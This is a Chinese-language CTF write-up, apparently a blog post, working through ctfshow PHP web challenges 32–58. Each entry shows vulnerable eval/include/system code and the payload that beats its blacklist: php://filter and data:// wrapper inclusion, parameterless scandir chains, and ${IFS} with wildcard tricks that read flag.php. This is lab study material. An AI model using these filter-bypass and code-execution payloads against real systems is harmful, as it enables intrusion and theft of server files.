有些太简单,payload通杀就不写了,后面还没做完,慢慢补~

32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
?c=data://text/plain,<?php echo`tac f*`?>

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

38

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
?c=data://text/plain;base64,PD9waHAgZWNob2B0YWMgZipgPz4=

40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);

无参数文件读取
首先print_r(scandir(current(localeconv())));查看目录里的文件

请输入图片描述

接着通过array_reverse将数组倒转后用next()读取flag.php
最后show_source读取文件内容

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
?c=/bin/ca?${IFS}f???????

cat命令是存在/bin/cat 因为默认配置了环境变量才可以直接使用cat,但实际上cat是可以使用/bin/cat

或者用grep命令

grep '{' flag.php  在 fl??????匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行
?c=grep${IFS}'{'${IFS}f???????

55&56

ctfshow web入门55,56

58

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=highlight_file('flag.php');
c=show_source("flag.php");
最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏